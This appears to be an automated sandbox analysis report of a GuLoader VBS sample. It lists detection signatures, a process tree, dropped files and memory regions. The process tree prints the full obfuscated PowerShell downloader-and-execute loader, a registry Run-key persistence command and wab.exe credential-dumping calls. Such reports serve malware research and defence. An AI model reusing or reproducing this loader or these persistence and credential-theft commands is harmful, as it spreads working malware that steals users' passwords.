Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/05/2024, 01:29

General

  • Target
    7af58069fd2ceb8da1a60644649787b738b2d41ef32a385f1e1e8711bfba0b7b.vbs
  • Size 724KB
  • Sample240519-bwgrxsbc4s
  • SHA256 7af58069fd2ceb8da1a60644649787b738b2d41ef32a385f1e1e8711bfba0b7b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Detects executables built or packed with MPress PE compressor 12 IoCs
  • Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 1 IoCs
  • Detects executables referencing many email and collaboration clients. Observed in information stealers 1 IoCs
  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 3 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7af58069fd2ceb8da1a60644649787b738b2d41ef32a385f1e1e8711bfba0b7b.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3628
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Enfetters = 1;$Stegespiddet='Sub';$Stegespiddet+='strin';$Stegespiddet+='g';Function biflow($Hler){$Nonsynchronous=$Hler.Length-$Enfetters;For($Kiribatier=2;$Kiribatier -lt $Nonsynchronous;$Kiribatier+=3){$Incapacitation68+=$Hler.$Stegespiddet.Invoke( $Kiribatier, $Enfetters);}$Incapacitation68;}function Mendelize($Beostren){. ($Scoop) ($Beostren);}$Enouncement=biflow ' iMKuo qzPliG l TlMaa i/S,5P..Ut0Ex T (UnWFli,in tdSaoTiwUds U ,aN.iT S Bl1 F0 S.Id0 k;S, FrWtiiBlnS.6.u4un;,r Sax.m6no4Pr;a TorRev,n:Dr1M,2mo1Le. K0ka)p NeG Fe ,cU.kK.o.o/ A2Ov0Ku1In0 P0Co1P 0he1Pi KoF i,ar,reD f.ooKaxag/Ou1,e2A.1Op.Ci0G ';$Indskrpes=biflow 'saU Rs Le cr -suA UgkoeGonSut A ';$Cabin=biflow 'A.h.etBatGep Gs M: o/Ha/ fr .iUncmoodrhSilKutNodGe.Put oCop.i/HrG Sr.ra.ynBeuS.lUnsUm.N.a Cs Biso ';$Franciss2=biflow 'P,> , ';$Scoop=biflow 'NoiE,e .xSp ';$Begivenhedsrigt='Cochairing';$Finlandssvensk = biflow ' neHacInh oo.l F%InaLfpAfpGad KaOrt ,a I% ,\BlGKmeFlnBabBlrT.uf.g esInmHeu,il ,i,dgKlh he CdB.e rKonSlea.sAf.M M QebetB r&i,&An W,ePrcHoh oMo U,tPi ';Mendelize (biflow 'R.$jagSulHeo Db ,aPil u:ExS .iAnl PvGieEkrRel ,aRuk ve = ,(tucHem Rd S K,/BocO. Cy$UnFBiiB,n Tlgla anDedA.sSpsLiv,le nCosdikBo)po ');Mendelize (biflow ' a$ScgC.lOroOrbPhaDelDe:RhM .eMytt aBrrKogAmo SnS =Sc$ HCLyaScbN i UnGt.,asThp plL,iVatCo(Ra$frF vrBeap.n Uc ui.rsChs F2To),y ');$Cabin=$Metargon[0];$Sofismers= (biflow ' ,$ yg rlS oRebMeaFrlC,: HRS ePui LnTrkRee d .1.a5ne3 ,=PaNB.eHew .-AcO rb BjS,e Nc MtBr HSPoy,esC,t ,eK,mS .OvN He AtS..PuWd,eI bU.C ,lSciyoeLanRot');$Sofismers+=$Silverlake[1];Mendelize ($Sofismers);Mendelize (biflow ' ,$A.RRee ,iBin,lkBeeMudVi1Ru5A 3,e.AaHVae a tddieLerH,sTe[P.$NoIevnLadExsHykR,rCapp,eHesLe]Sk=Sc$EsEapn ,o ,u,rn,ucBieW m UeUnnsutJu ');$Skulled=biflow 'No$DoRVieiliInnOpk ,eFldHy1Sa5 P3Ne.DeDCeo CwMinN l.ooQuaLudEmF.ai .lAreHo( .$ChC UaSpbC i nnF,, .$ Dv.ueS.dG eZerChkInvBraSteS.gFae K)St ';$vederkvaege=$Silverlake[0];Mendelize (biflow 'Su$BagBrlB o rbDiaTulFo:PrM.nu btBoeBlnPielisB sF.eO.sSq2 ,2pr9Fo=Sk( KTToeAnsSktFl-,ePNoaSitFohk. Sk$EpvUneDodTue SrU,kWovCoaNoeWhgTreEs)su ');while (!$Mutenesses229) {Mendelize (biflow ' .$FogpelkloS bBiaVal,y:P,HCoaR vSyfRerBruReeE =Ko$D.t Sr ,u EeSm ') ;Mendelize $Skulled;Mendelize (biflow 'HaSSetFnaCur Bt -P,S lSee,yerepPa Me4Un ');Mendelize (biflow 'b $ CgDol .o FbHaa lU,:ImMWou ,t,neF nkaeAdsLysReeAls 2Gi2,e9Su=Th(m.T.eeO,s Gt D-BaP MaM,tAmh C B $Fdv.rePodFleUnrHek.zvT,a .eSogN eFi)Sk ') ;Mendelize (biflow 'Li$ RgGrlOfoHabT,aLol s:klM faLasA.kNoi .nReo or .dUn= $ ag Hl.uoNrbHoa,rl,a: NSOutEfa.el Od UkCaaS.r Rl,ks ,+Pl+ha%,y$ AM ,e tRuaPrrB,gdeoImnPr. lc FoRauUbnMutH, ') ;$Cabin=$Metargon[$Maskinord];}$interventions=339390;$Pachycholia=26806;Mendelize (biflow ' S$ ,gBalSto bgaaFilUn:M.R peTotEnsCihN.i.asP t o orMii AeNanPl S,=Sl C.GB,eC,tFo-K,CS o Pn Ztave In mt . V $tvv.aeL.d aeSkrEpkEpvDia keB gCae.i ');Mendelize (biflow ',l$GegRulAeo.kbCraEnlIl: rBfoeBig SaG,lFolToeRedU. He= S .j[PaSKoyM sBetMae rmRe.CoC uoSmnUnvElePrrCutIn]T.:Je:B FsprToo imY BJaaSpsThejo6un4StSMit VrH,i TnS,gJu(Bl$ rRUne Ft,esTohPriMisclt ioAdrfoiLye UnR,)Ig ');Mendelize (biflow ' o$Mig lToo Vb oaIrlCu:MoKFno igb.eSkrCos,okF,eEls t G,= F Ef[phSStyE,sTitMieGamT .SeTBreYnx,lt k.F.EO n.jcSvoStd.ei Tn,agTe] r: ,: AruS GCHeIVuIin.HaGUoeTetdiSUdtParMiiS,n Gg T(Sk$ruB .eGegA.aChl QlJoeubdUp)st ');Mendelize (biflow 'Ce$ Dg Fl koDibReaSelAl:.tS Ki,enund.rsSpfOro.lr FvFiiInrT,rPoiRen g PeAfr isGr6Be5 =,e$I.Kcro .gPseF.rUds RkDoeT s L. ,s.eu,gbGasR.tS rTeiF,nCegDo( G$HuiAsn htDoegrr .vheeS nR,tNoiR.oL,nF,swa, .$CoP taKocOvh.oy,tcGehBeo,vlS,iLoaun)Un ');Mendelize $Sindsforvirringers65;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:464
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Genbrugsmulighedernes.Met && echo t"
        3⤵
          PID:2712
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Enfetters = 1;$Stegespiddet='Sub';$Stegespiddet+='strin';$Stegespiddet+='g';Function biflow($Hler){$Nonsynchronous=$Hler.Length-$Enfetters;For($Kiribatier=2;$Kiribatier -lt $Nonsynchronous;$Kiribatier+=3){$Incapacitation68+=$Hler.$Stegespiddet.Invoke( $Kiribatier, $Enfetters);}$Incapacitation68;}function Mendelize($Beostren){. ($Scoop) ($Beostren);}$Enouncement=biflow ' iMKuo qzPliG l TlMaa i/S,5P..Ut0Ex T (UnWFli,in tdSaoTiwUds U ,aN.iT S Bl1 F0 S.Id0 k;S, FrWtiiBlnS.6.u4un;,r Sax.m6no4Pr;a TorRev,n:Dr1M,2mo1Le. K0ka)p NeG Fe ,cU.kK.o.o/ A2Ov0Ku1In0 P0Co1P 0he1Pi KoF i,ar,reD f.ooKaxag/Ou1,e2A.1Op.Ci0G ';$Indskrpes=biflow 'saU Rs Le cr -suA UgkoeGonSut A ';$Cabin=biflow 'A.h.etBatGep Gs M: o/Ha/ fr .iUncmoodrhSilKutNodGe.Put oCop.i/HrG Sr.ra.ynBeuS.lUnsUm.N.a Cs Biso ';$Franciss2=biflow 'P,> , ';$Scoop=biflow 'NoiE,e .xSp ';$Begivenhedsrigt='Cochairing';$Finlandssvensk = biflow ' neHacInh oo.l F%InaLfpAfpGad KaOrt ,a I% ,\BlGKmeFlnBabBlrT.uf.g esInmHeu,il ,i,dgKlh he CdB.e rKonSlea.sAf.M M QebetB r&i,&An W,ePrcHoh oMo U,tPi ';Mendelize (biflow 'R.$jagSulHeo Db ,aPil u:ExS .iAnl PvGieEkrRel ,aRuk ve = ,(tucHem Rd S K,/BocO. Cy$UnFBiiB,n Tlgla anDedA.sSpsLiv,le nCosdikBo)po ');Mendelize (biflow ' a$ScgC.lOroOrbPhaDelDe:RhM .eMytt aBrrKogAmo SnS =Sc$ HCLyaScbN i UnGt.,asThp plL,iVatCo(Ra$frF vrBeap.n Uc ui.rsChs F2To),y ');$Cabin=$Metargon[0];$Sofismers= (biflow ' ,$ yg rlS oRebMeaFrlC,: HRS ePui LnTrkRee d .1.a5ne3 ,=PaNB.eHew .-AcO rb BjS,e Nc MtBr HSPoy,esC,t ,eK,mS .OvN He AtS..PuWd,eI bU.C ,lSciyoeLanRot');$Sofismers+=$Silverlake[1];Mendelize ($Sofismers);Mendelize (biflow ' ,$A.RRee ,iBin,lkBeeMudVi1Ru5A 3,e.AaHVae a tddieLerH,sTe[P.$NoIevnLadExsHykR,rCapp,eHesLe]Sk=Sc$EsEapn ,o ,u,rn,ucBieW m UeUnnsutJu ');$Skulled=biflow 'No$DoRVieiliInnOpk ,eFldHy1Sa5 P3Ne.DeDCeo CwMinN l.ooQuaLudEmF.ai .lAreHo( .$ChC UaSpbC i nnF,, .$ Dv.ueS.dG eZerChkInvBraSteS.gFae K)St ';$vederkvaege=$Silverlake[0];Mendelize (biflow 'Su$BagBrlB o rbDiaTulFo:PrM.nu btBoeBlnPielisB sF.eO.sSq2 ,2pr9Fo=Sk( KTToeAnsSktFl-,ePNoaSitFohk. Sk$EpvUneDodTue SrU,kWovCoaNoeWhgTreEs)su ');while (!$Mutenesses229) {Mendelize (biflow ' .$FogpelkloS bBiaVal,y:P,HCoaR vSyfRerBruReeE =Ko$D.t Sr ,u EeSm ') ;Mendelize $Skulled;Mendelize (biflow 'HaSSetFnaCur Bt -P,S lSee,yerepPa Me4Un ');Mendelize (biflow 'b $ CgDol .o FbHaa lU,:ImMWou ,t,neF nkaeAdsLysReeAls 2Gi2,e9Su=Th(m.T.eeO,s Gt D-BaP MaM,tAmh C B $Fdv.rePodFleUnrHek.zvT,a .eSogN eFi)Sk ') ;Mendelize (biflow 'Li$ RgGrlOfoHabT,aLol s:klM faLasA.kNoi .nReo or .dUn= $ ag Hl.uoNrbHoa,rl,a: NSOutEfa.el Od UkCaaS.r Rl,ks ,+Pl+ha%,y$ AM ,e tRuaPrrB,gdeoImnPr. lc FoRauUbnMutH, ') ;$Cabin=$Metargon[$Maskinord];}$interventions=339390;$Pachycholia=26806;Mendelize (biflow ' S$ ,gBalSto bgaaFilUn:M.R peTotEnsCihN.i.asP t o orMii AeNanPl S,=Sl C.GB,eC,tFo-K,CS o Pn Ztave In mt . V $tvv.aeL.d aeSkrEpkEpvDia keB gCae.i ');Mendelize (biflow ',l$GegRulAeo.kbCraEnlIl: rBfoeBig SaG,lFolToeRedU. He= S .j[PaSKoyM sBetMae rmRe.CoC uoSmnUnvElePrrCutIn]T.:Je:B FsprToo imY BJaaSpsThejo6un4StSMit VrH,i TnS,gJu(Bl$ rRUne Ft,esTohPriMisclt ioAdrfoiLye UnR,)Ig ');Mendelize (biflow ' o$Mig lToo Vb oaIrlCu:MoKFno igb.eSkrCos,okF,eEls t G,= F Ef[phSStyE,sTitMieGamT .SeTBreYnx,lt k.F.EO n.jcSvoStd.ei Tn,agTe] r: ,: AruS GCHeIVuIin.HaGUoeTetdiSUdtParMiiS,n Gg T(Sk$ruB .eGegA.aChl QlJoeubdUp)st ');Mendelize (biflow 'Ce$ Dg Fl koDibReaSelAl:.tS Ki,enund.rsSpfOro.lr FvFiiInrT,rPoiRen g PeAfr isGr6Be5 =,e$I.Kcro .gPseF.rUds RkDoeT s L. ,s.eu,gbGasR.tS rTeiF,nCegDo( G$HuiAsn htDoegrr .vheeS nR,tNoiR.oL,nF,swa, .$CoP taKocOvh.oy,tcGehBeo,vlS,iLoaun)Un ');Mendelize $Sindsforvirringers65;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2920
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Genbrugsmulighedernes.Met && echo t"
            4⤵
              PID:752
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              4⤵
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:3328
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Stealthiest" /t REG_EXPAND_SZ /d "%Skatesviget184% -w 1 $Aerosoldaaserne=(Get-ItemProperty -Path 'HKCU:\Proanaphora\').Fordjelsesprocessen;%Skatesviget184% ($Aerosoldaaserne)"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4200
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Stealthiest" /t REG_EXPAND_SZ /d "%Skatesviget184% -w 1 $Aerosoldaaserne=(Get-ItemProperty -Path 'HKCU:\Proanaphora\').Fordjelsesprocessen;%Skatesviget184% ($Aerosoldaaserne)"
                  6⤵
                  • Adds Run key to start application
                  • Modifies registry key
                  PID:2820
              • C:\Program Files (x86)\windows mail\wab.exe
                "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\svamypavixyjwiidmgjdkvspk"
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:2392
              • C:\Program Files (x86)\windows mail\wab.exe
                "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\uxgwzhkowfqwhofhdqdxnanglvbe"
                5⤵
                • Accesses Microsoft Outlook accounts
                PID:2624
              • C:\Program Files (x86)\windows mail\wab.exe
                "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\frlpaavqknibjutlnbqyynapublnjpu"
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3588

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            __PSScriptPolicyTest_kz3hq2dk.5es.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kz3hq2dk.5es.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            svamypavixyjwiidmgjdkvspk

            • Path C:\Users\Admin\AppData\Local\Temp\svamypavixyjwiidmgjdkvspk
            • Size 4KB
            • SHA256 880d0a92fcd2d68631b413e0cc98d71fc68337abb19f59901c075e058c694b47
            • MD5 SHA1 SHA512 SSDEEP

            Genbrugsmulighedernes.Met

            • Path C:\Users\Admin\AppData\Roaming\Genbrugsmulighedernes.Met
            • Size 476KB
            • SHA256 936efbf9e8ba44d93879829570d0e07bcef6e0c5c45806522fa94e68690aa318
            • MD5 SHA1 SHA512 SSDEEP

            memory/464-52-0x00007FFA17D00000-0x00007FFA187C1000-memory.dmp

            memory/464-14-0x0000021D9FF20000-0x0000021D9FF42000-memory.dmp

            memory/464-15-0x00007FFA17D00000-0x00007FFA187C1000-memory.dmp

            memory/464-16-0x00007FFA17D00000-0x00007FFA187C1000-memory.dmp

            memory/464-4-0x00007FFA17D03000-0x00007FFA17D05000-memory.dmp

            memory/2392-54-0x0000000000400000-0x0000000000478000-memory.dmp

            memory/2392-56-0x0000000000400000-0x0000000000478000-memory.dmp

            memory/2392-58-0x0000000000400000-0x0000000000478000-memory.dmp

            memory/2624-62-0x0000000000400000-0x0000000000462000-memory.dmp

            memory/2624-57-0x0000000000400000-0x0000000000462000-memory.dmp

            memory/2624-55-0x0000000000400000-0x0000000000462000-memory.dmp

            memory/2920-39-0x0000000006DF0000-0x0000000006E12000-memory.dmp

            memory/2920-20-0x0000000004CD0000-0x00000000052F8000-memory.dmp

            memory/2920-37-0x0000000006160000-0x000000000617A000-memory.dmp

            memory/2920-40-0x0000000008030000-0x00000000085D4000-memory.dmp

            memory/2920-36-0x0000000007400000-0x0000000007A7A000-memory.dmp

            memory/2920-42-0x00000000085E0000-0x00000000098A0000-memory.dmp

            memory/2920-19-0x00000000022A0000-0x00000000022D6000-memory.dmp

            memory/2920-35-0x0000000005BF0000-0x0000000005C3C000-memory.dmp

            memory/2920-34-0x0000000005BC0000-0x0000000005BDE000-memory.dmp

            memory/2920-33-0x00000000055D0000-0x0000000005924000-memory.dmp

            memory/2920-38-0x0000000006E60000-0x0000000006EF6000-memory.dmp

            memory/2920-23-0x0000000005560000-0x00000000055C6000-memory.dmp

            memory/2920-21-0x0000000004C30000-0x0000000004C52000-memory.dmp

            memory/2920-22-0x00000000054F0000-0x0000000005556000-memory.dmp

            memory/3328-49-0x0000000002540000-0x0000000003800000-memory.dmp

            memory/3328-68-0x000000001F8A0000-0x000000001F8B9000-memory.dmp

            memory/3328-71-0x000000001F8A0000-0x000000001F8B9000-memory.dmp

            memory/3328-72-0x000000001F8A0000-0x000000001F8B9000-memory.dmp

            memory/3588-59-0x0000000000400000-0x0000000000424000-memory.dmp

            memory/3588-60-0x0000000000400000-0x0000000000424000-memory.dmp

            memory/3588-61-0x0000000000400000-0x0000000000424000-memory.dmp